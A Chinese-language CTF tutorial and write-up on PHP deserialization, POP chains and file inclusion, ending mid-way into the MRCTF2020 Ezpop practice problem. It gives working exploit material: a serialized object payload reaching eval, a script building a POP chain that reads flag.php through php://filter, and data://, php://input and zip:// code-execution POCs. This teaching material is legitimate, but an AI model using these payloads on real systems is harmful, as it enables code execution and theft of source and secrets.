iscc_区域赛大吴疆土-第二讲(PHP反序列化)

php反序列化

序列化的概念

序列化是指将对象或数组转换为可存储或传输的字符串的过程。

在 PHP 中,可以使用 serialize() 函数对对象或数组进行序列化,它会返回一个表示对象或数组的字节流字符串

序列化的主要作用是方便存储和传输数据。例如,将数据存入文件、数据库,或者通过网络发送给其他程序时,序列化后的字符串更易于处理。

与之对应的操作是反序列化,在 PHP 中使用 unserialize() 函数将序列化的字符串恢复为原始的数组或对象。

无类序列化

无类序列化顾名思义就是不包含class的序列化,什么意思呢?来看一个php例子

<?php      
    $test = 'hello world';    
	echo serialize($test);
?>

以上代码输出为:

s:11:"hello world";

在这个例子中不包含class,变量test是一个字符串,其中serialize函数对这个字符串进行序列化,结果是:s:11:"hello world";其中s表示这个是一个字符串类型,11表示字符串的长度

有类序列化

我们使用类的序列化比较多,所以这里就用一个序列化对象的例子来演示:

<?php
#创建一个类
class test{
    public $a = 'sdfsdfa';
    protected $b = 1111;
    private  $c = false;
    public function displayVar() {
        echo $this->a;
    }
}
$d = new test(); //实例化对象
$d = serialize($d);//序列化对象
var_dump($d);//输出序列化后的结果
?>

运行结果:

PixPin_2026-04-15_20-39-43

string(73) "O:4:"test":3:{s:1:"a";s:7:"sdfsdfa";s:4:"\000*\000b";i:1111;s:7:"\000test\000c";b:0;}"

我们从头开始分析各个部分的数组代表着什么:

O:4:"test":3 → 对象类型,类名长度 4,属性个数 3

s:1:"a";s:7:"sdfsdfa" 第一个 s 代表变量名称是字符串类型,a 是变量名称;第二个 s 代表变量值是字符串类型,7 是变量值的长度,后面是变量的值。

s:4:"\000*\000b";i:1111 这里的字符串不应该是 1 吗?为什么是 4 呢,而且还多了一些字符。

我们看到成员变量 b 的属性是 protected;

protected 属性序列化的时候格式是 \000*\000属性名

一个\000代表一个字节,所以 protected 有两个\000,再加上*和变量名称长度一共是 4 个字节;

接下来的 i 代表变量数值是整数型。

s:7:"\000test\000c";b:0 这里也出现了 \000 字符而且还多了类的名称,为什么呢?我们看到成员变量 c 的属性是 private;

private 属性序列化的时候格式是 \000类名\000成员名

这里也是有两个\000共 2 个字节加上类名的 4 个字节和变量名一个字节,加起来就是 7 个字节;下面的 b 代表着变量值是布尔型。

我们发现对象序列化后方法没有跟着一起序列化

这是因为serialize()函数只对类的属性序列化,不序列化方法。

反序列化的概念

将序列化后的字符串转换回对象或者数组。

在PHP中使用函数来将序列化后的字符串转换回PHP的值,并返回的值可为 int、float、string、array 或 object类型。

我们重新用上面的例子并把序列化的结果写入一个文本中存储:

?php
class test{
    public $a = 'sdfsdfa';
    protected $b = 1111;
    private  $c = false;
    public function displayVar() {
        echo $this->a;
    }
}
$d = new test();
$d = serialize($d);
file_put_contents('1.txt',$d);
?>

我们重新写一个文件,读取刚才存储的文本内容并对内容进行反序列化:

<?php

$d = unserialize(file_get_contents('1.txt'));
print_r($d);
echo $d->a;
?>

大家觉得输出的结果是打印出类的对象和成员变量$a的值对吗?并不是:

__PHP_Incomplete_Class Object
(
    [__PHP_Incomplete_Class_Name] => test
    [a] => sdfsdfa
    [b:protected] => 1111
    [c:test:private] => 
)

因为我们在序列化的时候只序列化类的属性,相当于只进行了数据的保存,而没有保存逻辑。

在反序列化的时候要保证有该类存在,因为没有序列化方法,所以我们反序列化回来还要依靠该类的方法进行。

所以正确的反序列化的写法如下:

<?php
class test{
    public $a = 'sdfsdfa';
    protected $b = 1111;
    private  $c = false;
    public function displayVar() {
        echo $this->a;
    }
}
$d = unserialize(file_get_contents('1.txt'));
print_r($d);
echo $d->a;
?>

最终输出的结果:

test Object
(
    [a] => sdfsdfa
    [b:protected] => 1111
    [c:test:private] => 
)
sdfsdfa

PixPin_2026-04-15_21-02-58

如果这样看,序列化一个类之后必须在存在这个类的文件下反序列化才能得到原来的类,那么为什么要序列化对象成字符串呢?在开发中又起到什么作用?

序列化作用:方便传输、方便存储。

因为PHP文件执行后会把内存的数据进行销毁,如果下一个文件想用到刚刚销毁对象的属性和值就还要重新实例化new一次对象,所以才会将对象进行序列化然后存储,也避免重新实例化带来的耗费。

开发中比较好举例就是session,PHP中如果使用php_serialize引擎,那么存储session文件将以序列化的方式存储在文件中,当我们要验证当前用户是否有权限进入该页面时就需要反序列化读取存储在服务器上面的session文件的值来判断。

反序列化漏洞的产生

PHP 反序列化漏洞又叫做 PHP对象注入漏洞,是因为程序对输入数据处理不当导致的. 反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。

其实就是: 反序列化漏洞是由于unserialize函数接收到了恶意的序列化数据篡改成员属性后导致的。

举一个简单的例子

<?php
  class index {
  private $test;
  public function __construct()
  {
    $this->test = new normal();
  }
  public function __destruct()
  {
    $this->test->action();
  }
}

class normal {
  public function action(){
    echo "please attack me";
  }
}

class evil {
  var $test2;
  public function action(){
    eval($this->test2);
  }
}
$obj = new index(); 
// 实例化index类,会自动实例化normal类,
// 然后执行destruct方法,调用normal的action方法
// 输出"please attack me"
if(isset($_GET['test'])){
    unserialize($_GET['test']);
}

先简单介绍一下上述代码中出现的两个魔术方法:

__construct()`和`__destruct()

**__construct()**被称为构造方法,也就是在创造一个对象时候,首先会去执行的一个方法。

**__destruct()**是在到某个对象的所有引用都被删除或者当对象被显式销毁时执行的魔术方法。

正常执行流程:

  1. $obj = new index(); 触发 __construct()
  2. $this->test = new normal()
  3. 脚本结束 → 触发 __destruct()
  4. 执行 $this->test->action() → 输出 please attack me

如果我们通过$obj = new index();正常实例化一个对象,首先会触发 __construct()魔术方法,把test作为一个实例化normal类,反序列化后又会触发__destruct()方法,test此时作为normal类,他的action方法被调用,屏幕输出please attack me.

PixPin_2026-04-15_21-35-50

代码中存在两个关键危险点:

  1. unserialize($_GET['test']) → 参数完全可控,攻击者可以传入任意伪造的序列化字符串。
  2. __destruct() 中调用了 $this->test->action() → 这是一个可控的方法调用,只要我们能控制 $test 属性指向的对象,就能控制它调用哪个类的 action() 方法。

代码里存在一个危险类 evil

class evil {
  var $test2;
  public function action(){
    eval($this->test2);
  }
}

evil类中action方法会调用eval函数,eval()可以执行任意输入内容。如果我们能够触发这个方法并且控制其中的参数就可以实现任意命令执行。

现在unserialize函数值是可控的,我们就可以利用它进行攻击。

unserialize()函数执行完成会触发__destruct()魔术方法,执行 $this->test->action();此时如果test是evil类,属性test2是恶意代码,就可以实现攻击。

<?php
class index {
    public $test; // <---- 这里改成 public 才能运行
}
class evil {
    var $test2 = 'phpinfo();';
}

$evil = new evil();
$index = new index();
$index->test = $evil; // <---- 关键:这是【类外部赋值】

echo serialize($index);
?>
    //http://localhost:3000/index.php?test=O:5:%22index%22:1:{s:4:%22test%22;O:4:%22evil%22:1:{s:5:%22test2%22;s:10:%22phpinfo();%22;}}

为什么要把 $test 改成 public?

  1. private 属性不能在类外部直接赋值
  2. 利用脚本需要在外部给 $test 赋值
  3. 改成 public 才能运行生成 Payload
  4. 生成的 Payload 依然可以正常反序列化

public 只是为了方便生成 payload,不影响漏洞利用!

PixPin_2026-04-15_21-35-10

接着即可利用成功

PixPin_2026-04-15_21-34-24

思路概括

漏洞根源:unserialize() 参数可控

触发点:__destruct() 中的 action() 方法调用

攻击核心:把 $testnormal 篡改为 evil

利用关键:构造恶意对象 → 序列化 → 传参

最终效果:执行 eval() 实现任意代码执行

php魔术方法

  1. 反序列化不是单纯的数据还原

当我们使用 unserialize() 反序列化一个对象时,它不仅仅是把字符串还原成对象的属性集合,还会 自动触发某些魔术方法(如 __wakeup()__destruct())。

如果程序中存在魔术方法,它们会在对象被创建或销毁时自动执行,这就引入了“代码执行点”。

  1. 魔术方法是反序列化漏洞的关键触发点

PHP 反序列化漏洞的核心逻辑是:

  1. 攻击者控制序列化数据 → 通过 unserialize() 注入恶意属性
  2. 对象被还原 → 恶意对象的魔术方法可能被自动执行
  3. 魔术方法调用危险函数 → 触发任意代码执行

换句话说,魔术方法是漏洞利用链条上的必经节点。没有它,反序列化可能只是普通的数据还原,不会触发攻击。

例如我们前面讲的例子:

class index {
    private $test;
    public function __destruct() {
        $this->test->action();
    }
}
  • __destruct() 会在脚本结束时自动调用
  • 如果 $test 被替换成攻击者的 evil 对象,就能触发 eval($this->test2)
  • 整条攻击链就是因为魔术方法的自动调用而成立的

所以,在学习 PHP 反序列化漏洞之前,必须理解魔术方法的存在和作用,否则攻击链条无法理解,也无法构造漏洞利用。

POP链

POP(Property Oriented Programming)链:
通过魔术方法的自动触发,将多个对象的方法串联起来,从可控入口一路触发到危险函数尾巴。

核心思路是:确定尾巴 → 找到入口 → 构建中间桥梁。

构建思路:

  1. 确定尾巴
    • 尾巴是危险操作函数,如 eval(), system(), include(), file_put_contents() 等。
    • 目标:最终执行或读取敏感文件。
  2. 确定入口
    • 入口是攻击者可控制的对象属性或行为,如 __wakeup()__destruct() 等在反序列化或销毁对象时自动触发的方法。
    • 攻击者通过提交序列化数据控制入口。
  3. 桥接中间节点
    • 中间节点用来连接入口和尾巴。
    • 这些节点通常利用 __get()__set()__call()__tostring()__invoke() 等魔术方法。

反序列化漏洞利用流程

  1. 攻击者控制序列化数据
    • 提交经过精心构造的对象属性,触发魔术方法。
  2. 对象被还原
    • PHP 自动触发魔术方法。
    • 如果对象中存在危险函数调用,就会被执行。
  3. 魔术方法触发危险操作
    • 通过 POP 链,最终触发文件包含、执行命令或 eval()

魔术方法是一种特殊的方法,在某些情况下会自动调用。

魔术方法的命名是以两个下划线开头的,常见的魔术方法有:

__construct(),类的构造函数

__destruct(),类的析构函数

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

__construct()

__construct()被称为构造方法,也就是在创造一个对象时候,首先会去执行的一个方法。但是在序列化和反序列化过程是不会触发的。

<?php
class User {
    public $username;

    /**
     * 构造方法:在 new 对象时自动调用
     * 注意:在 serialize() 和 unserialize() 过程中不会触发
     */
    public function __construct($username) {
        $this->username = $username;
        echo "__construct() 被触发!<br>";
    }
}

// 测试
$test = new User("F0rmat");        // 触发一次
$ser = serialize($test);
unserialize($ser);                 // 不会触发 __construct()
?>

运行结果:

__construct test

可以看到,创建对象的时候触发了一次,在后面的序列化和反序列化过程中都没有触发。

仅在 new 对象时触发,反序列化中基本不用。

__destruct()

析构方法(反序列化常用入口)

在到某个对象的所有引用都被删除或者当对象被显式销毁时执行的魔术方法。

<?php
class User {
    /**
     * 析构方法:对象被销毁时(脚本结束、unset、引用计数为0)自动调用
     * 反序列化后会产生一个新对象,脚本结束时会触发 __destruct()
     */
    public function __destruct() {
        echo "__destruct() 被触发!<br>";
    }
}

// 测试
$test = new User();        // 创建对象
$ser = serialize($test);
unserialize($ser);         // 反序列化产生新对象
// 脚本结束时,两个对象都会触发 __destruct()
?>

运行结果:

__destruct test
__destruct test

可以看到执行了两次__destruct,因为一个就是实例化的时候创建的对象,另一个就是反序列化后生成的对象。

__call

在对象中调用一个不可访问方法时,__call() 会被调用。也就是说你调用了一个对象中不存在的方法,就会触发。

<?php
class User {
    /**
     * 当调用对象中不存在的普通方法时自动触发
     * @param string $arg1 调用的方法名
     * @param array  $arg2 传递给方法的参数(数组形式)
     */
    public function __call($arg1, $arg2) {
        echo "调用了不存在的方法:{$arg1},参数为:{$arg2[0]}<br>";
    }
}

// 测试
$test = new User();
$test->callxxx('a');   // callxxx 不存在 → 触发 __call()
?>

运行结果:

callxxx,a

可以看到__call需要定义两个参数,一个是表示调用的函数名,一般开发会在这里报错写xxx不存在这个函数,第二个参数是传入的数组,这里只传入了一个a。

__callStatic

在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。

<?php
class User {
    /**
     * 当调用不存在的静态方法时自动触发
     * @param string $arg1 方法名
     * @param array  $arg2 参数数组
     */
    public static function __callStatic($arg1, $arg2) {
        echo "调用了不存在的静态方法:{$arg1},参数为:{$arg2[0]}<br>";
    }
}

// 测试
$test = new User();
$test::callxxx('a');   // 静态调用不存在方法 → 触发 __callStatic()
?>

运行结果:

callxxx,a

这里先来学习一下双冒号的用法,双冒号也叫做范围解析操作符(也可称作 Paamayim Nekudotayim)或者更简单地说是一对冒号,可以用于访问静态成员,类常量,还可以用于覆盖类中的属性和方法。自 PHP 5.3.0 起,可以通过变量来引用类,该变量的值不能是关键字(如 self,parent 和 static)。与__call不同的是需要添加static,只有访问不存在的静态方法才会触发。

__get

读取不存在或不可访问属性的值时,__get() 会被调用。

<?php
class User {
    public $var1 = "public 属性";

    /**
     * 读取不存在的属性或 protected/private 属性时触发
     * @param string $arg1 属性名
     */
    public function __get($arg1) {
        echo "__get() 被触发!访问的属性名是:{$arg1}<br>";
        return "默认返回值";
    }
}

// 测试
$test = new User();
echo $test->var2;      // var2 不存在 → 触发 __get()
?>

运行结果:

var2

__get魔术方法需要一个参数,这个参数代表着访问不存在的属性值。

反序列化中作用:常用于触发 __invoke() 等后续方法。

__set

给不存在或不可访问属性赋值时,__set() 会被调用。

<?php
class User {
    public $var1;

    /**
     * 给不存在的属性或 protected/private 属性赋值时触发
     * @param string $arg1 属性名
     * @param mixed  $arg2 属性值
     */
    public function __set($arg1, $arg2) {
        echo "__set() 被触发!属性:{$arg1} = {$arg2}<br>";
    }
}

// 测试
$test = new User();
$test->var2 = 1;       // var2 不存在 → 触发 __set()
?>

运行结果:

var2,1

set跟get相反,一个是访问不存在的属性,一个是给不存在的属性赋值。

__isset

对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。

<?php
class User {
    private $var = "private 属性";

    /**
     * 对 private/protected 或不存在的属性使用 isset()/empty() 时触发
     * @param string $arg1 属性名
     */
    public function __isset($arg1) {
        echo "__isset() 被触发!检查的属性是:{$arg1}<br>";
        return true;
    }
}

// 测试
$test = new User();
isset($test->var1);    // var1 不存在 → 触发 __isset()
?>

运行结果:

var1

该魔术方法使用了isset()或者empty()只要属性是private或者不存在的都会触发。

__unset

对不可访问属性调用 unset() 时,__unset() 会被调用。

<?php
class User{
    public  function __unset($arg1)
    {
        echo $arg1;
    }

}
$test = new User();
unset($test->var1);
?>

运行结果:

var1

如果一个类定义了魔术方法 __unset() ,那么我们就可以使用 unset() 函数来销毁类的私有的属性,或在销毁一个不存在的属性时得到通知。

__sleep

序列化前调用(控制序列化哪些属性)

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。

<?php
class User {
    public $username;
    public $nickname;
    private $password;

    public function __construct($u, $n, $p) {
        $this->username = $u;
        $this->nickname = $n;
        $this->password = $p;
    }

    /**
     * serialize() 前自动调用
     * 返回一个数组,指定要序列化的属性(可用于过滤敏感信息)
     */
    public function __sleep() {
        echo "__sleep() 被触发!只序列化 username 和 nickname<br>";
        return ['username', 'nickname'];   // 不序列化 password
    }
}

// 测试
$user = new User('a', 'b', 'c');
echo serialize($user);
?>

运行结果:

O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}

输出:只包含 username 和 nickname,password 被过滤。

可以看到执行序列化之前会先执行sleep()函数,上面sleep的函数作用是过滤掉password的变量值。

__wakeup

反序列化后立即调用(POP 链常见起点)

unserialize() 会检查是否存在一个__wakeup()方法。如果存在,则会先调用 __wakeup() 方法,预先准备对象需要的资源。

预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

<?php
class User {
    public $username;
    public $nickname;
    private $password;

    /**
     * unserialize() 后立即自动调用
     * 常用于初始化资源、恢复连接等
     * 在反序列化漏洞中经常作为 POP 链的起点
     */
    public function __wakeup() {
        echo "__wakeup() 被触发!<br>";
        $this->password = $this->username;   // 示例:属性覆盖
    }
}

// 测试
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>

运行结果:

class User#1 (4) {
  public $username =>
  string(1) "a"
  public $nickname =>
  string(1) "b"
  private $password =>
  string(1) "a"
  private $order =>
  NULL
}

可以看到执行反序列化之前会先执行wakeup()函数,上面wakeup的函数作用是将username的变量值赋值给password变量。

注意:可通过畸形序列化(修改属性个数)绕过 __wakeup()。

__toString

对象被当作字符串使用时触发

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

<?php
class User {
    /**
     * 当对象被当作字符串使用时(如 echo $obj、$obj . "xxx"、== 比较等)自动调用
     * 必须返回一个字符串,否则报错
     */
    public function __toString() {
        echo "__toString() 被触发!<br>";
        return "__toString test";
    }
}

// 测试
$test = new User();
echo $test;                    // 直接打印对象 → 触发
?>

运行结果:

__toString

特别注意__toString的触发条件,引用k0rz3n师傅的笔记:

(1)echo ($obj) / print($obj) 打印时会触发

(2)反序列化对象与字符串连接时

(3)反序列化对象参与格式化字符串时

(4)反序列化对象与字符串进行比较时(PHP进行比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时

(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8)反序列化的对象作为 class_exists() 的参数的时候

__invoke

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。(本特性只在 PHP 5.1.0 及以上版本有效。)

对象被当作函数调用时触发

<?php
class User {
    /**
     * 当把对象当作函数调用时(如 $obj())自动触发
     * 常与 __get() 配合使用,构成 POP 链
     */
    public function __invoke() {
        echo "__invoke() 被触发!对象被当作函数调用<br>";
    }
}

// 测试
$test = new User();
$test();                       // 把对象当函数调用 → 触发
?>

运行结果:

__invoke test

__clone

当使用 clone 关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法 __clone() ,如果该魔术方法存在的话。

对象被 clone 时触发

<?php
class User {
    /**
     * 使用 clone 关键字复制对象后自动调用
     */
    public function __clone() {
        echo "__clone() 被触发!<br>";
    }
}

// 测试
$test = new User();
$newObj = clone $test;         // 克隆对象 → 触发 __clone()
?>

运行结果:

__clone test

小结

魔术方法 触发时机 反序列化中重要程度
__wakeup() unserialize() 后 ★★★★★
__destruct() 对象销毁时 ★★★★★
__toString() 对象当字符串使用 ★★★★★
__get() 读取不存在属性 ★★★★
__invoke() 对象当函数调用 ★★★★
__construct() new 对象
__sleep() serialize() 前 ★★

img

img

iscc-想犯大吴疆土吗

三个输入框,背景有四个,应该要传四个参数。

抓包看到前三个参数是GET型参数box1box2box3,所以直接传url,/?box1=古锭刀&box2=杀&box3=酒&box4=铁索连环,得到reward.php

img

代码给了提示flag存在于flag.php中,

使用include()函数,存在文件包含漏洞。

<?php
if (!isset($_GET['xusheng'])) {
?>
<html>
<head><title>Reward</title></head>
<body style="font-family:sans-serif;text-align:center;margin-top:15%;">
    <h2>想直接拿奖励?</h2>
    <h1>你要试试我宝刀是否锋利吗?</h1>
</body>
</html>
<?php
exit;
}

error_reporting(0);
ini_set('display_errors', 0);
?>

<?php
// 犯flag.php疆土者,盛必击而破之!
class GuDingDao {
    public $desheng;

    public function __construct() {//实例化对象时触发
        $this->desheng = array();
    }

    public function __get($yishi) {
        $dingjv = $this->desheng;
        $dingjv();   // 这里把对象当函数调用,会触发 __invoke
        return "下次沙场相见,徐某定不留情";
    }
}

class TieSuoLianHuan {
    protected $yicheng;

    public function append($pojuan) {
        include($pojuan);
    }

    public function __invoke() {//把对象当作函数调用时触发
        $this->append($this->yicheng);
    }
}

class Jie_Xusheng {
    public $sha;
    public $jiu;

    public function __construct($secret = 'reward.php') {
        $this->sha = $secret;
    }

    public function __toString() {
        return $this->jiu->sha;  
    }

    public function __wakeup() {
        if (preg_match("/file|ftp|http|https|gopher|dict|\.\.\//i", $this->sha)) {
            echo "你休想偷看吴国机密";
            $this->sha = "reward.php";
        }
    }
}

echo '你什么都没看到?那说明......有东西你没看到<br>';

if (isset($_GET['xusheng'])) {
    @unserialize($_GET['xusheng']);
} else {
    $a = new Jie_Xusheng;
    highlight_file(__FILE__);
}

依次来看怎么触发include()函数:

class TieSuoLianHuan {
    protected $yicheng;

    public function append($pojuan) {
        include($pojuan);
    }

    public function __invoke() {//把对象当作函数调用时触发
        $this->append($this->yicheng);
    }
}

需要触发append()函数,而__invoke()函数可以调用append()函数。我们将$yicheng设为 我们要读取的内容,但是直接设置为flag.php的话会把 flag.php 文件的内容当作 PHP 代码解析并执行。这里我们需要用到php伪协议来实现读取。

我们先来看怎么构造pop链。

__invoke()函数的触发条件是把对象当作函数调用。

class GuDingDao {
    public $desheng;

    public function __construct() {//实例化对象时触发
        $this->desheng = array();
    }

    public function __get($yishi) {
        $dingjv = $this->desheng;
        $dingjv();   // 这里把对象当函数调用,会触发 __invoke
        return "下次沙场相见,徐某定不留情";
    }
}

GuDingDao类的__get()方法把对象当作函数,那现在需要触发__get魔术方法。__get魔术方法的触发条件是调用的成员属性不存在或者不可访问。

class Jie_Xusheng {
    public $sha;
    public $jiu;

    public function __construct($secret = 'reward.php') {
        $this->sha = $secret;
    }

    public function __toString() {
        return $this->jiu->sha;   // 访问 $jiu->sha 会触发 GuDingDao::__get(如果 $jiu 是 GuDingDao 对象)
    }

    public function __wakeup() {
        if (preg_match("/file|ftp|http|https|gopher|dict|\.\.\//i", $this->sha)) {
            echo "你休想偷看吴国机密";
            $this->sha = "reward.php";
        }
    }
}

Jie_Xusheng类的__toString()方法 $this->jiu->sha访问了不存在的属性,现在我们需要触发__toString()魔术方法。__toString()魔术方法的触发条件是把对象被当成字符串调用

img

__wakeup()方法中使用了preg_match()函数,所以类的起点应该是Jie_Xusheng类的$sha属性。__wakeup()魔术方法的触发条件就是unserialize()函数被调用。

现在链子的构造思路就很清晰了

POP链梳理

反序列化对象链,顺序是:

Jie_Xusheng::__toString
    ↓
GuDingDao::__get
    ↓
TieSuoLianHuan::__invoke
    ↓
TieSuoLianHuan::append()

1️⃣ TieSuoLianHuan

$t = new TieSuoLianHuan();
$t->yicheng = "php://filter/read=convert.base64-encode/resource=flag.php";
  • 利用点:
    • $yicheng 是文件路径,最终会被 include() 使用。
    • 这里利用了 php://filter/read=convert.base64-encode/resource=flag.php,目的是读取 flag.php 文件内容并进行 Base64 编码,避免直接执行 PHP 代码。
  • 作用:控制文件包含路径,是最终的敏感信息泄露点。

2️⃣ GuDingDao

$g = new GuDingDao();
$g->desheng = $t;
  • 利用点:
    • GuDingDao::__get 中会执行 $dingjv()
    • $dingjv 实际上是 $this->desheng,也就是 $t 对象。
    • PHP 会调用对象的 __invoke() 方法,所以这里触发了 TieSuoLianHuan::__invoke
  • 作用:把对象链的“控制权”传给了 TieSuoLianHuan,可以执行 append()

3️⃣ Jie_Xusheng

$a = new Jie_Xusheng();
$a->sha = "reward.php";    
$a->jiu = $g;
  • 利用点:
    • 这个对象是最终被序列化的对象。
    • Jie_Xusheng::__toString 返回 $jiu->sha,触发 $g 对象的 __get 方法。
  • 作用:
    • 通过访问或转换为字符串,触发链条的第一步,间接触发 GuDingDao::__getTieSuoLianHuan::__invoke

4️⃣ 序列化 Payload

$payload = serialize($a);
  • 利用点:
    • 将整个对象链打包为反序列化字符串。
    • 当服务端执行unserialize($_GET['xusheng'])时,触发整个对象链:
      1. __wakeup(如果有)
      2. __toString__get__invokeappend() → 文件包含
  • 作用:反序列化时直接触发恶意行为,无需手动调用链条。

5️⃣ 攻击目标

  • TieSuoLianHuan::append()include($yicheng)
  • $yicheng 被设置为 php://filter/read=convert.base64-encode/resource=flag.php
  • 结果:
    • PHP 会读取 flag.php 的内容并进行 Base64 编码,而不会执行它
    • 攻击者可以通过 payload 得到敏感信息(flag 内容)

🔹 总结链条逻辑

  1. 反序列化 Jie_Xusheng
  2. __toString() 被触发 → 访问 $jiu->sha
  3. $g = GuDingDao__get 被触发 → 调用 $desheng()
  4. $desheng = TieSuoLianHuan 对象 → 调用 __invoke()
  5. __invoke() 调用 append($yicheng) → 包含用户控制的文件
  6. 最终读取 flag.php 内容(这里用 php://filter 防止执行)

Jie_Xusheng::__toString->GuDingDao::__get->TieSuoLianHuan::__invoke->append()

<?php
class TieSuoLianHuan {
    protected $yicheng;
}

class GuDingDao {
    public $desheng;
}

class Jie_Xusheng {
    public $sha;
    public $jiu;
}


$t = new TieSuoLianHuan();
$t->yicheng = "php://filter/read=convert.base64-encode/resource=flag.php";


$g = new GuDingDao();
$g->desheng = $t;         


$a = new Jie_Xusheng();
$a->sha = "reward.php";    
$a->jiu = $g;             

$payload = serialize($a);
echo "Payload (URL encoded):\n";
echo urlencode($payload) . "\n\n";

echo "Raw serialize for debug:\n";
echo $payload;
?>

现在回到怎么利用include()读到flag.php中内容的问题,这里我们使用了php伪协议来实现。

最终生成的payload需要把序列化内容的类型O改成0才能得到输出,算是一个脑洞

img

php://filter/read=convert.base64-encode/resource=flag.php

将flag.php进行base64加密然后进行读取。

img

img

文件包含漏洞

什么是文件包含漏洞

1.文件包含漏洞概述

和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种

include(),require(),include_once(),require_once()

区别如下:

require():找不到被包含的文件会产生致命错误,并停止脚本运行

include():找不到被包含的文件只会产生警告,脚本继续执行

require_once()require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

include_once()include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

2.漏洞成因分析

我们先直接来看一个简单的例子,网页代码如下:

<?php
	include $_GET['test'];
?>

再创建一个phpinfo.php页面,代码如下:

<?php
	phpinfo();
?>

利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析

img

我们知道。PHP是把“文件名”当成 URL 风格的资源来处理,所以在利用文件包含漏洞时,为了读取php源文件我们要可以利用php伪协议。

php伪协议

PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。

img

1.file://协议

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

file:// [文件的绝对路径和文件名]

img

2.php://协议

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://input

php://filter用于读取源码。

php://input用于执行php代码。

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

利用条件:

allow_url_fopen :off/on
allow_url_include:off/on

例如有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,例如打开当前目录下的2.php:

img

他只显示了一条语句,这时候我们可以以base64编码的方式读取指定文件的源码:

输入php://filter/convert.base64-encode/resource=文件路径

(ps:这道题目读取flag.php源码使用的就是php://filter,把flag.php源文件进行base64编码然后输出到屏幕上)
得到2.php加密后的源码:

img

再进行base64解码,获取到2.php的完整源码信息:

img

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

利用条件:

allow_url_fopen :off/on
allow_url_include:on

利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码:

img

3.data://协议

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:

img

利用条件:

allow_url_fopen :on
allow_url_include:on

POC为:

data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

img

4.zip://协议

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

zip://中只能传入绝对路径。

要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)

只需要是zip的压缩包即可,后缀名可以任意更改。

相同的类型还有zlib://bzip2://

利用条件:

● allow_url_fopen :off/on
● allow_url_include:off/on

POC为:

zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt

img

练习题

BUUCTF|[MRCTF2020]Ezpop

访问题目环境,直接得到index.php文件

img

Welcome to index.php
  <?php
  //flag is in flag.php
  //WTF IS THIS?
  //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
  //And Crack It!
  class Modifier {
  protected  $var;
public function append($value){
  include($value);
}
public function __invoke(){
  $this->append($this->var);
}
}

class Show{
  public $source;
  public $str;
  public function __construct($file='index.php'){
